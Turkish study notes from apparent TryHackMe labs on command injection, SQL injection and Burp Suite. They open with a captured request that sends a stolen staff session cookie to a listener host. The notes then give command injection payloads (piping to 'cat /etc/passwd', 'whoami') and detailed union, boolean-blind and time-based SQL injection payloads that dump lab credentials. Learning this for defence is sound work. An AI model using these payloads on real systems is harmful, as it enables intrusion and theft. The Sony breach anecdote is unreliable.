GET /?cookie=c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ== HTTP/1.1
Host: 10.9.4.50:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.72 Safari/537.36
Accept: */*
Origin: http://172.17.0.1
Referer: http://172.17.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
burada base64 kodlu bir başlık bilgisi var: c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ==
çözümleyeli: staff-session=4AB305E55955197693F01D6F8FD2D321s
personel oturum çerezi: 4AB305E55955197693F01D6F8FD2D321s
13.Study:'Command Injection: Komut Enjeksiyonu
- 'Komut enjeksiyonu nedir:
- web uygulması üzerinden işletim sistemi komutlarının çalıştırılmasını sağlayan bir güvenlik açığıdır.
- web uygulamasının bulunduğu işletim sistemi yani o sunucu windows bir sunucu ise cmd komutları web üzerinden çalıştırılabilir.
- eğer sistem linux/unix ise terminal komutları çalıştırılabilir.
- 'Discovering Command Injection : Komut Enjeksiyonunu Keşfetmek
- bu güvenlik açığı genellikle makinanın işletim sistemine veri iletmek ve sistem çağrıları yapmak için php, python none.js gibi
programlama dillerindeki işlevleri kullanması nedeni ile ortaya çıkar.
- örn:
bir dosya veya dizinde içerik aramak istendiğinde yeterli
filtreleme ve güvenlik tedbiri alınmadığı zaman bu güvenlik açığı
ortaya çıkabilir.
- <?php
$songs = "/var/www/html/songs" //1. kısım
if (isset $_GET["title"])) {
$title = $_GET["title"]; //2. kısım
$command = "grep $title /var/www/html/songtitle.txt"; //3. kısım
$search = exec($command); //4. kısım
if($search == ""){
$return = "<p>The requested song</p><p> $title does </p><b>not</b><p> exist !</p>";
} else {
$return = "<p>The requested song</p><p> $title does <p><b>exist !</b></p>";
}
echo $return; //4. kısım buraya kadar.
}
?>
- bu bir php dosyası, kısımları inceleyelim:
- Kısımlar:
1.kısımda: müziler klasörünü görüyoruz
2.kısımda: kullanıcıdan GET methodu ile bir başlık isteniyor
3.kısımda: aynı html dizini içerisinde bir müzik başlıkları .txt dosya görüyoruz
kullanıcıdan alınan başlık, .txt dosyasında grep aracı ile aranıyor.
4.kısımda: ifade var/yok a göre bir çıktı alıyoruz.
- şimdi:
- eğer kullanıcıdan alınan başlıkta bir filtreleme yapılmazsa yada herhangi bir tedbir alımazsa
hacker bu kısımı manipüle ederek farklı dosya içeriklerini görüntülemeye çalışabilir.
- örnek bir çalışma yapalım kalide:
- önce Destop kısmmına geleli ve liste.txt adında bir dosya oluşturum içeriğine bir kaç birşey yazalım (anlamlı olmak zorunda değil)
- grep ile kullanıcıdan gelen değerin liste.txt içerisinde aranacak: örn: grep 1 liste.txt
- ama burada herhangi bir güvenlik önlemi alınmazsa hacker şöyle bir şey yapabilir: grep 1 | cat /etc/passwd liste.txt
ekleyerek kullanıcı dosyasını görüntüleyebilir.
- 'Exploiting Command Injection : Komut Enjeksiyonundan Yararlanmak
- iki türlü bu açıktan yaralanılabilir. Bunlar: {CI:Command Injection:Komut Enjeksiyonu}
- 'Blind CI:
- doğrudan web sayfasında görüntülemez. Yani:
herhangi bir çıktı vermez
anlaşılması biraz daha zordur
- 'Verbose CI:
- detaylı çıktı verir.
whoami: mevcut kullanıcın kim oldoğunu söyler.
- 'Blind CI: tespiti:
- ping, sleep araçları kullanılabilir.
- ping aracı ile 10sn. boyunca bir istek atılabilir.
- Hem Linux hem de Windows için bazı değerli paylad lar:
- whoami: aktif kullanıcı ismi
- ls / dir: linux dizin listeleme / windows dizin listeleme
- ping : domain_name veya ip ye istek atarak ağda canlı olup olmadığı öğrenilir.
- sleep / timeout: sleep, ping aracının yüklü olmadığı (linux) durumlarda ping e alternatiftir./
timeout, ping aracının yüklü olmadığı (windows) durumlarda ping e alternatiftir
- nc: bu araç hem ters bağlantı almak için hem dosya transferlerinde hem yetki yükseltme işlmelerinde kullanılan bir araç
windwos sürümü de mevcuttur.
- 'Remediating Command Injection : Komut Ekleme Tedbirleri ve Atlatılması:
- kullanıcının veri girişi yaptığı yerde örneğin şöyle bir önlem alınarak:
(not: örnek PHP dilinde gösteriliyor. Ama diğer dillere de genişletilebilir.)
<input type="text" id="ping" name="ping" pattern="[0-9]"></input>
<?php
echo passthru("/bin/ping -c 4 "$_GET["ping"].');
?>
burada giriş için sadece rakam değeri alınır 0-9 aralığı haricinde birşey girilirse reddedilir.
- 'Input sanitisation:
- bu kısımda da php fonksiyonu kullanılarak sadece sayısal değerin girilebileceği belirtilebilir.
<?php
if(!filter_input(INPUT_GET,"number",FILTER_VALIDATE_NUMBER)){}
?>
bunların yanında özel karakterlerin de silindmesi daha temiz bir giriş yapılması için gereklidir.
(KULLANICIDAN VERİ ALINACAKSA BU VERİ HER ZAMAN:
- TEMİZLENMELİ
- AYIKLANMALI
- FİLTRELENMELİ
- VE GİREBELECEĞİNİN DIŞIN BİR VERİ ASLA GİREMEMELİ!!!!!
BU OLDUKÇA ÇOK ÖNEMLİ!!)
- 'Bypassing Filters:
- HEXDECİMAL/BINARRY/OCTAL GİBİ DEĞERLER DE YORUMLANA BİLDİĞİNDEN
DİĞER İŞLEMLERE EK OLARAK BURADA DA ÖZERL DEĞER VE KARATERLERİN BU TİPTEKİ
DÖNÜŞÜM DEĞERLERİ DE FİLTRELEMEYE DAHİL EDİLMELİ!
- örn:
$payload = "\x2f\x65\x74\x63\x2f\x70\x61\x73\x77\x64"
- aşağıda örnek filtreleme bırakıyorum.
<?php
$hex = "\x68\x65\x78"; // "hex" kelimesi, hexadecimal formatta
$binary = chr(bindec('01100010')) . chr(bindec('01101001')) . chr(bindec('01101110')); // "bin" kelimesi, binary formatta
$octal = "\150\145\170"; // "hex" kelimesi, octal formatta (örnek olarak hex yeniden kullanıldı)
echo $hex . $binary . $octal; // "hexbinhex" çıktısını verir
?>
- soru: Bir uygulamaya sağlanan kullanıcı girişinin "temizlenmesi" işlemine ne ad verilir? : sanitisation
- hadi bir uygulama yapalım:
- bize /home/tryhackme/flag.txt daki bayrak ile aktif kullanıcıyı soruyor.
hatırlayacak olursanız | ile ek bir komut daha girmeye devam edebiliyorduk hadi deneyelim:
bizden istediği veriye ek olarak bizim istediğimiz veriyigetirecek komutu gireceğiz:
127.0.0.1 | whoami : www-data
127.0.0.1.| cat /home/tryhackme/flag.txt : THM{COMMAND_INJECTION_COMPLETE}
kaynak bırakıyorum buraya Command Enjection ile ilgili: 'https://github.com/hackInForeach/command-injection-payload-list'
ÖDEV: BROWSER A 'Command Injection' YAZ VE ÇIKAN 5 FARKLI SİTEDEN İÇERİKLERİ İNCELE VE ALIŞTIRMALAR YAP!
BURAYA KADAR ÖĞRENDİKLERİNE EK OLARAK EKLEYECEKLERİN İLE BERABER KONUNUN UNUTULMASI ZORLAŞTIRIN!
NOT: BU UNUTULMAMALIDIR Kİ, İNTREPOLASYON ÖNEMİ ÇOK İYİ KAVRANMALIDIR:
İNTERPOLASYON: BİLİNEN DEĞERLERDEN BİLİNMEYENİ TAHMİN ETME YÖNTEMİDİR!
14.Study:'SQL Injection
- 'kısa bilgi:
- yani: Yapılandırımış Sorgu Dili Enjecsiyonu, kötü amaçlı sorguların yürütülmesine neden olan bir web uygulaması veritabanına yapılan
bir saldırıdır.
- bir web uygulaması, kullanıcıdan gelen girdiyi kontrol etmeden işleme alınmasına izin verirse saldırgan kişi bu yolla ilgili web sitesine
ait özel ve müşteri verilerine ulaşabilir, bunları çalabilir, silebilir veya değiştirebilir.
- SQL Injection, eski bir güvenlik açığı olamsını yanında en zarar verici güvenlik açıklarından da biridir.
- 'Veritabanı nedir:
- veritabanı, veri kolleksiyonlarını organize bir şekilde elektronik olarak depolamanın bir yoludur.
- DBMS (Data Base Management System) tarafından kontrol edilir.
- Bir DBMS nin içerisinde birden fazla veritabanı olabilir.
- Veritabanları:
- ilişkisel veritabanı
- ilişikisel olmayan veritabanları olmak üzere ikiye ayrılır.
- Veritabanı:
- tablolardan oluşur.
- tablolar:
- satır (kayıt)(rows) ve sütunlardan (kolon)(columns) oluşur.
- ilişkisel olmayan veritabanları: NoSql olarak adlandırılır.
- ilişkisel veritablarındaki gibi veri depolamak için tablo,satır,sutün kullanılmaz.
- bu veritabanları esnek ve dinamik veri modelleri sunar
- bu sayede büyük miktardaki veriyi yatay olarak ölçeklendirebilir.
- farlı türlerde veri depolama yapıları sunar örn:
- anahtar-değer: veriler anahtar-değer çiftleri olarak saklanır
- belge yönetimli: JSON veya XML gibi belge yapılarında saklanır
- sütunlu: verileri sütunlar halide depolar, buda hızlı veri erişimi sağlar
- graf: ilişkisel verileri graf yapılarında saklar:
- graf veri tabanları: verileri düğümler(noktalar) ve bu düğümler arasındaki ilişkileri temsil eden
kenarlar ile saklar. Bu yapı özellikle karmaşık ilişkilerin ve bağlantıların olduğu
durumlar için idealdir. örn: sosyal ağlar, öneri sistemleri ve rota bulma algoritmaları gibi.
- sorular:
Veritabanını kontrol eden yazılımın kısaltması nedir? : DBMS
Verileri tutan ızgara benzeri yapının adı nedir? : Table
- 'SQL (Structured Query Language(Yapılandırılmış Sorgu Dili)) komutları:
- select: sorgu gönderimi için kullanılan ifadedir. Veritabanından bilgi getirmek için kullanılan ifade.
- select * from users; => *: tümü, from <tablo_adı> => burada users tablosu için tüm sonuçları getir.
- select username,password from users; => users tablosundaki kullanıcı adlarıyla beraber parolalarını da getir.
- buna bir sınırlama getirilebilir:
- select * from users LIMIT 1; => users tablosunda 1 kayıt getir.
- select * from users LIMIT 2,1; => burada ilk 1 ve 2. satırı atla ve ilk 1. satırı getir.
- select * from users LIMIT 100,10; => ilk 100 satır atla 101-110 arasını getir
- burada where ifadesi ile koşul oluşturabilir:
- select * from users where username='admin'; => users tablosunda username i admin olanları satırların tüm sütunlarını getir.
- select * from users where username <> 'admin'; => burada username i admin olamayanları getir
- bu da aynı: selecr * from users where username != 'admin';
- select * from users where username='admin' or username='joe'; burad kullanıcı adı admin veya joe olanları tabladan getir.
- select * from users where username='admin' and password='p4ssword';burada kullanıcı adı ile password bilgisi uyuşan kaydı listeliyoruz
- select * from users where username like 'a%'; burada kullanıcı adının ilk harfi a olanları listeliyoruz
- select * from users where username like '%n'; burada kullanıcı adının son harfi n olanları listeliyoruz
- select * from users where username like '%mi%'; burada kullanıcı adının içerisinde min olanları listeliyoruz
- union: birleştirme ifadesi. Birden fazla tabloyu birleştirmek için kullanılan ifade.
- select name,address,city,postcode from customers union select company,address,city,postcode from suppliers;
- burada: customers ve suppliers tablolarının seçilen kolon/sütünlarını tek bir tablo çıksısında gösterir
- insert: tabloya veri eklemek için kullanılan ifade
- insert into users (username,password) values ('bob','password123');
- burada: users tablosuna usename i bob,password ü password123 olan yeni bir kayıt ekler
- update: tabloda var olan bir/birden fazla verinin güncellenmesini sağlayan ifade
- update users set username='root', password='pass123' where username='admin';
- burada: username i admin olan kayıdın username ini root, password ünü pass123 olarak günceller
- delete: tablodaki tablo içeriğini veya belirtilen bir ifadeyi silmel için kullanılan ifade.
- delete from users where username='martin';
- burada: users tablosundaki usernema i martin olan kayıdı sil
- delete from users;
- burada tablodaki tüm kayıtları sil
- 'SQL Enjeksiyonu Nedir?:
- sql kullanan bir web uygulamasının, kullanıcıların girmiş olduğu verilerin sql sorgusuna dahil edilmesidir.
- bir web sitesine girdik ve bir içerik görüntüledik: https://website.thm/blog?id=1
- bu url e benzer bir url ile karşılaşabilir. '?id=1' bu id si 1 değerine sahip olan içeriği temsil eder.
- bunun backend planda muhtemelen şöyle bir sorgusu vardır: SELECT * from blog where id=1 and private=0 LIMIT 1;
- bu ifade şöyle bir ifade ile değiştirilebilir: https://website.thm/blog?id=2;--
- burada id değerinin 2 olduğu içerik gösterilir ancak herhangi bir kısıt varsa bu ;-- ifadesi ile sorgunun burdan sonraki kısımı dahil edilmez.
- ve arka planda bu: SELECT * from blog where id=2;-- and private=0 LIMIT 1; şöyle bir ifade ortya koyar
- ve ardın şuna döner: SELECT * from blog where id=2;--
- Tabi yeterli önlem alınmazsa!!
- ; sql sorgu sonu demek, -- yorum satırı demek
- 'In-Band SQLi:Band İçi SQLi:
- In-Band SQL injection da istismarın yapıldığı ve sonuçların toplandığı/gösterildiği alan aynıdır.
- yani bir web sayfasında In-Band Sql inkection tespit edilirse, veritabanından bilgi getirme işlemi
o web sayfasında görüntülenecektir.
- bu injection ı iki başlık altında ele alıyoruz:
- 'Error-Based SQL Injection : (Hata Tabanlı SQL Enjeksiyonu)
- veritabanından gelen hata mesajları doğrudan browser da yayımlanır.
- bu sayede veri tabanı yapısı hakkında bilgi elde edilebilir.
- 'Union-Based SQL Injection : (Birlik Tabanlı SQL Enjeksiyonu)
- güvenlik açığında 'select' ifadesinin yanında 'union' operatörü kullanılır.
- ve tablolar birleştirilerek sonuçların web sayfasından görüntülenmesi sağlanır.
- hadi şimi biraz pratik yapalım: (Error-Based SQL Injection)
- burada bizden martin adınki bir kişini parolasını bulmaızı istiyor. ve görünen link:
- https://website.thm/article?id=1
- biz burada önce denem yaparak burada girilen değerlerin sorguya dahil edilip edilmediğini göreceğiz:
- bunun içinde https://website.thm/article?id=1" veya https://website.thm/article?id=1'
- ve bize hata fırlattı buda demek oluyor ki sorguya dahil ediliyor.
- şimdide tabloda kaç kolon barındırdığına bakmamız gerek bunu içinde:
- https://website.thm/article?id=5 union select 1,2,3,4 diyerek bize normal girilen değerlerin ekrana yazılmasını sağlamalyız ki bulalım
- burada 3 kolon var
- şimdi bu veritabanı adını bulmak için database() sql fonsiyonunu çalışalım
- https://website.thm/article?id=5 union select 1,2,database()
- database_name = sqli_one
- şimdi bu kısımda yansıtma işlemini yapmaya çalışacağız.
- bir sonraki adım veritabanı adı alındı şimdi bunun içerisinde tablo adlarını bilmemiz gerek
- https://website.thm/article?id=5 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'sqli_one'
- açıklama:
şimdi: union select 1,2,3 burada 1,2,3 bunlar yer tutucudur
group_concat(table_name) : hem tablo tespiti hemde içerisindeki kolon isimlerini tespit ederkende bu kullanılacak
information_schema.tables : veritabanı içerisinde tüm kullanıcıların ulaşabildiği bir 'information_scheme' adında bir
veri tabanı var. bu schema normalde site içeriğinin bilgisini barındırmıyor ama sitedeki
veritabanlarının bilgisini barındırıyor. bizde veritabanına ait olan bilgileri, kolon isimlerini
bu schema dan öğreniyoruz. yani '.tables' belirterek tablo ismi çekmeye çalışıyoruz.
table_schema = 'sqli_one' : burada da buldupumuz veritabanının tablolarını çekmeye çalışıyoruz
- bulduğuz tablo isimler: article,staff_users
- şimdi kolon isimlerini öğrenmek için:
- https://website.thm/article?id=5 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'staff_users'
- id,password,username
- https://website.thm/article?id=5 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'article'
- content,id,subject
- bulunan tabloların kolon isimleride artık elimizde
- şimdi bunları görüntülemek için:
- https://website.thm/article?id=5 union select 1,2,group_concat(id,':',username,':',password) from staff_users
- ve:
1:admin:p4ssword,2:martin:pa$$word,3:jim:work123
- veya separator '<br>' ekleyerek çıktının satırlar halinde olmaısına zorlanabilir ve daha okunaklı olur:
https://website.thm/article?id=5 union select 1,2,group_concat(id,':',username,':',password separator '<br>') from staff_users
1:admin:p4ssword
2:martin:pa$$word
3:jim:work123
bize sorulan soruda martin şifresini databaseden al denmişti bu de: pa$$word
- 'Blind SQLi - Authentication Bypass : Blind SQLi - Kimlik Doğrulamayı Atlatma
- bu kısımda da bir kullanıcı girişini aşmaya uğraşacağız
- buradaki amaç veritabanından bilgi çekmek değil üye girişi doğrulama kısmını atlatmak ve üye girişi yapmış olamak.
- üye panellerinde kullanıcı adı ve parolanın eşleşmesini bekleyen bir sorgu vardır.
- bu sorgu mantıkasl olarak aşılırsa o zaman üye gişi yapılmış olur
- sistem bizim girdiğimiz veriyi doğrudan sorguya dahil ediyorsa o zaman
- username : ' OR 1 = 1;--
-bu girdi yapıldığında sorgu şuna dönüşür:
select * from users where username='' OR 1 = 1;--' and password='' LIMIT 1;
yani or ifade is ile en az 1 koşulun doğru olması bizi içeri sokmaya yeter.
zatenn görüldüğü üzere daha sonra ki gelen sorgu kısımı yoruma çevrilerek işlevsiz hale getirildi.
- ve içerdeyiz!
THM{SQL_INJECTION_9581}
- not: bu atlatma işleminde normalde sql kodlarına erişmimiz yok
fakat hazır payloadlarda internet sql-injectin-payload-list
olarak arattığınızda denene bilecek birçok sql atlamtma kodunu
görebilirisniz.
- 'Blind SQLi - Boolean Based : Kör SQLi - Doğru/Yanlış Tabanlı
- daha öncede gördüğümüz Error-Based SQL Injection gibi tüm sonuçları tek seferde vermiyor
- bunun için adım adım, harf harf doğrulayarak elde etmemiz gerekiyor.
- çünkü yapılan sorgulamada sonuç:
- doğru yada yanlış,
- evet yada hayır,
- var yada yok şeklinde oluyor.
- bizde buna göre ilerlemeye çalışıyoruz.
- Dolayısıyla çok fazla deneme yanılma yapmamız gerekiyor.
- mesela: olmayan bir kullanıcı girişi yaptığınızda size 'böyle bir kullanıcı kaydı yoktur' gibi bir geri bildirim yapıyor
- uygulama üzerinden gidelim:
- https://website.thm/checkuser?username=admin
- bize: {"taken":true} olarak dönüyor ama
- https://website.thm/checkuser?username=ad
- bize: {"taken":false} olarak dönüyor
- yani yapılan işlemin geçerliliği varsa true yoksa fasle değerini alıyoruz
- ve durumda database den verileri alırken adım adım, harf harf almamız alırken de doğrulamamız gerekiyor
- il olarak Error-Based (hata tabanlı) da olduğu gibi kolon sayısı öğreneceğiz
- https://website.thm/checkuser?username=dogukan' union select 1,2,3;--
burada 3 kolon olduğunu deneye deneye öğrendik
- ve sorugu şuna dönüyor: select * from users where username = 'dogukan' union select 1,2,3;--' LIMIT 1
ve {"taken":true} değeri döndü
- burada herhangi bir çıktı alamadığımız için deneye deneye bulmamız gerekiyor
- şimdi databes() ve like kullanarak tüm veritabanını almaya çalışıyoruz
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 where database() like '%';--
- hala: {"taken":true} doğru gidiyoruz
- buradan sonara like 'a%' bu kısımda harf har ilerleyererk işte önce ilk harfi bul sonra ikinci harfi ...
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 where database() like 'sqli_three%';--
https://website.thm/checkuser?username=dogukan' union select 1,2,3 where database() like 'sqli_three';--
- veritabanı adını sqli_three olarak buluyoruz
- şimdi tablo isimlerini tespit etmez
- aynı yolla tablo ismi için de harf harf ilerlememiz gerekiyor.
- normlade bu işler için çeşitli araçlar mevcut. manuel denemenin çok mantıklı olduğu söylenemez
- ama biz şuan eğitim materyali üzerinden gittiğimiz için bu bilgileri elde ettiğimizi var sayıyoruz
- dogukan' union select 1,2,3 from information_schema.tables where table_schema like 'sqli_three' and table_name like '%';--
dogukan' union select 1,2,3 from information_schema.tables where table_schema like 'sqli_three' and table_name like 'users';--
tablo adını = users olarak bulduk
- şimdi kolonl isimleri için aynı şeyi yapacağız
- dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like '%';
dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like 'a%' and column_name != 'id';--
- burada column_name != id yapmamızın sebebi zaten id değerinin olduğunu biliyoruz ama başka varmı bilmiyoruz
bunun için devre dışı bırakarak izliyor ve: {"taken":true} başka yokmuş
- şimdi ise diğer kolunları bakmak için yine deneme yönemtelerini kullanacağız ama bu sefer: column_name like '%' bu kısımda bakacağız
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like 'username' and column_name != 'id';--
- burada username kolon adını bulduk şimdi bunuda hariç tutalım
- https://website.thm/checkuser?username=dogukan' union select 1,2,3 from information_schema.columns where table_schema='sqli_three' and table_name='users' and column_name like 'password' and column_name != 'username' and column_name != 'id';--
- burda da password kolona adını bulduk
- bunlar bizim aradığımız bilgilerdi.
- analiz bulgular:
- veritabanı adı: sqli_three
- tablo adı= users
- tablo kolon adları: id,username,password
- şimdi bu içerideki bilgileri elde etmeye geldi sıra:
- bu bilgileri elde ederkende yine adım adım ilerliyoruz. bir önceki adımlarda yaptığımız gibi.
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like '%' union select 1,2,3 from users where password like '%';--
- burada % işareti olan yerlere deneme yanılma yöntemi ile bulunabilir hatta sırayala gidilecek olursa önce
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like '%';--
- kullanıcı adnı doğrulayın.
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like 'admin';--
- sonra da password ü doğrulayın yani bulmaya çalışın
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like 'admin' and union select 1,2,3 from user where password like '%';--
- bu denemeler sonunucunda ulaşacağımız bilgiler
https://website.thm/checkuser?username=dogukan' union select 1,2,3 from users where username like 'admin' and union select 1,2,3 from user where password like '3845';--
analiz:
username: admin
password: 3845
ve bayrağımız: THM{SQL_INJECTION_1093}
- unutulmaamlıdır ki kör sql enjecsiyonu:
- zorlu, uzun süreli ve karmaşık bir süreçtir
- zor fark edilir ve oldukça tehlikelidir. Çokta uzak olmayan bir zamandan örnek verelim.
- Örnek bir olayı hatırlayalım:
kör SQL enjeksiyonuna örnek olarak en bilinen olaylardan biri, Sony Pictures 2011 veri sızıntısıdır. Bu saldırı,
Sony nin müşteri bilgilerini depoladığı veritabanına karşı gerçekleştirildi ve kör SQL enjeksiyonu kullanılarak
yaklaşık 77 milyon kullanıcının kişisel bilgileri ele geçirildi. Saldırganlar, kör SQL enjeksiyonu ile sunucunun
direkt hata mesajları döndürmemesine rağmen, verileri yavaş ve metodik bir şekilde çalmayı başardılar.
Kör SQL enjeksiyonu saldırılarında saldırganlar, sistemin doğrudan hata mesajları veya sonuçlar vermediği durumlarda
bile doğru/yanlış yanıtlarına dayanarak bilgi sızdırabilirler. Sony olayında da saldırganlar bu yöntemi kullanarak
hassas verilere erişim sağladı.
- 'Blind SQLi - Time Based : Zamana Dayalı Kör SQL
- daha öncede gördüğümüz Error-Based SQL Injection gibi tüm sonuçları tek seferde vermiyor
- bu yüzden burada da aynı şekilde yapacağız ama bu sefere sleep() fonksiyonu kullarak yapacağız.
- Time-based blind SQL injection nu boolean-based saldırıya benzer, ancak görsel geri bildirim yerine
sorgunun doğru olup olmadığını cevap süresine göre belirlenir.
- sleep(x) gibi araçlar ile sorgunun yanıt süresine gecikme eklenerek başarı anlaşılabilir.
- eğer gecikme varsa var, gecikme yoksa yok olduğunu anlayabiliriz.
- bir önceki senaryoda yaptıklarımıza benzer ancak ek olarak sleep() aracını ekleyeceğiz.
- başlayalım:
- önce kolon sayısını öğrenelim:
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1);--
ve evet 2 kolon var şimdi de veritabanı ismini bulmaya çalışacağız:
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) where database() like 'a%';--
burada teker teker deneyeceğiz artık
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) where database() like 'sqli_four';--
veritabanı ismini bulduk, şimdi de tablo ismini bulmamız gerek
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.tables where table_schema like 'sqli_four' and table_name like 'u%';--
burada da aynı şekilde harf harf doğrulaam yapacağız
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.tables where table_schema like 'sqli_four' and table_name like 'users';--
tablo adımızı da bulduk şimdi kolon isimlerini bulmamız gerekiyor
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name like 'a%';--
aynı şekilde harf harf (yapcak birşey yok direkt gelmiyor meled 😀️)
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name like 'username%';--
kullanıcı adını bulduk şimdi bakmaya devam
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name like 'a%';--
bulduklarımızı tarmaya dahil etmiyoruz, zaten görsel dönüt yokya işimizi daha da zorlaştırmanın bir manası da yok
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name like 'password%';--
bir tane daha bulduk
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name <> 'password%' and column_name like 'a%';--
bakmaya devam
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from information_schema.columns where table_schema like 'sqli_four' and table_name like 'users' and column_name <> 'username' and column_name <> 'password' and column_name like 'id';--
hepsinden % işaretlerini kaldırıp doğruluğunu da kanıtladık
artık elimizde olanlar:
veritabanı adı: sqli_four
tablo adı: users
kolon adları: id, username, password
şimdide bu tabloda isim ve password arayacağız (deneme yanılma, harf harf onaylama devammm 😀️)
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username like 'a%';--
kullanıcı adından başladık
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username like 'admin';--
username = admin
şimdi password eşleşmesini bulmamız gerek
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username = 'admin' and password like '2%';--
teker teker onaylayacağız devam
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username like 'admin' and password like '4961%';--
hepsini doğrulayalım:
https://website.thm/analytics?referrer=dogukan' union select sleep(1),sleep(1) from users where username = 'admin' and password = '4961';--
username: admin
password: 4961
bayrak: THM{SQL_INJECTION_MASTER}
-'Out-of-Band SQLi : Bant Dışı SQLi
- Çok yaygın bir uygulama değildir.
- yağılan SQL sorgusunun çıktısını farlı yolla alma durumunda ortaya çıkıyor
- örn:
saldırgan, bir web uygulamasına HTTP isteği atarak saldırıyı gerçekleştiriyor
önceki konularda gördüğümüz gibi. Ama dönen sonuç web uygulamasında değilde
saldırganın kontrolünde olan örn. bir DNS sunucusuna yönlendirilir
yani: isteğin yapıldığı yer ile sonucun döndüğü yer farklı olduğu durumlarda
buna Out-of-Band SQLi denir.
- soru: Bir veritabanından veri sızdırmak için kullanılabilecek D ile başlayan bir protokole isim verin. : DNS
-'Remediation : İyileştirme
- Bu başlık altın SQL Injection dan korunma yollarına bakacağız. Üç başlıkta:
- Prepared Statements (With Parameterized Queries): Hazırlanan İfadeler (Parametreli Sorgularla):
- bu korunma yönteminde:
- kullanıcıdan gelen veriler sql sorugusuna dahil edilmeden parmetreler ile
değer olarak eklenir.
- sorgu yapısı bozulmadığı için sql ınjection gerçekleşmez
- Input Validation: Giriş Doğrulaması:
- bu korunma yönteminde:
- bir izin listesi hazırlanrak, hangi sorgulara izin verildiği listede belirtilir
- veya sorgu yapısını değiştirme durumu olan karakterlerin hariç tutulması sağlanabilir
- Escaping User Input: Kaçan Kullanıcı Girişi:
- bu korunma yönteminde:
- kullanıcdan gelen değerlere \ eklendiği zaman bunlar normal karakterlere dönerler
- yani sql sorgu ifadeleri olmazlar, normal değer olurlar
- ve bu sayede sql sorgu yapısı bozulmaz ve sql ınjecttion gerçekleşmez
- soru: Kendinizi SQL Injection istismarından korumanın bir yöntemini adlandırın. : Prepared Statements
15.Study: ' Burp Suite: The Basics
- 'Burp Suit nedir:
- web uygulamaları ve mobil uygulamalara yönelik sızma testlerinde kullanılan ve java ile yazılmış profesyonel bir araçtır.
- bir saldırgan, web sunucusu ile istemci arasındaki tüm trafiği yakalayabilir ve yönetebilir
- daha anlaşılır bir ifade ile:
- saldırganın browser ın dan çıkan bilgileri hedef web sitesine ulaşmadan yakalar ve değiştirilerek gönderilmesini sağlayabilir.
- BurpSuit temelde bu işlemi yapar.
- ve bu şekilde yakaladığı tüm trafiği, içerisinde bulumdurduğu farklı özelliklere gönderebilir.
- burpsuit, web uygulamalarına yönelik mauel sızma testi çalışmalarını mükemmel hale getirir.
- üç sürümü vardır, herkesin kullandığı sürüm ve diğer ikiside paralı lisanslama şeklinde.
- biz ücretsiz olan community sürümü kullanacağız.
- sorular:
Burp Suite in hangi sürümü bir sunucuda çalışır ve hedef web uygulamaları için sürekli tarama sağlar? : Burp Suite Enterprise
Burp Suite, web uygulamalarına ve ______ uygulamalara saldırırken sıklıkla kullanılır. : Mobile
- 'Features of Burp Community : Burp Suite Özellikleri (community sürüm özellikleri)
- proxy:
- web ugulamaları ile etkileşim kurulurken istekleri ve yanıtları yakalayarak engellemeye veya değiştirmeye olanak tanıyan bir özelliktir
- repeater:
- aynı isteği defalarca yakalamaya, değiştirmeye ve yeniden göndermeye olanak tanır.
- özellikle deneme yanılma yoluyla bir payload oluşturmamız gerektiğinde kullanılabilir
- sql konusunda kör sql saldırısında yüzlerce deneme yapmamız gerekiyordu işte bu durumlarda burp suit in repeater özelliği kullanılabilir.
- intruder:
- kaba kuvvet (Brute Force) saldırılarında kullanılan bir özellik
- decoder:
- verilerin dönüştürülmesinde kullanılır.
- yakalanan verilerin çözülmesi veya gönderilirken verilerin dönüştürülerek gönderilmesi bu decoder özelliği aracılığı ile yapılır.
- comparer:
- iki veri parçasının kelime veya bayt düzeyinde karşılaştırma yaparak aradı farkı anlamamızı sağlar
- sequencer:
- oturum tanımlama bilgisi ve benzeri değerlerin kontrolünde kullanılır
- yani:
rastgele oluşturulması gereken bir değer varsa ve bu sırayla oluşturulmuşsa bu sistem için tehlikeli olacaktır
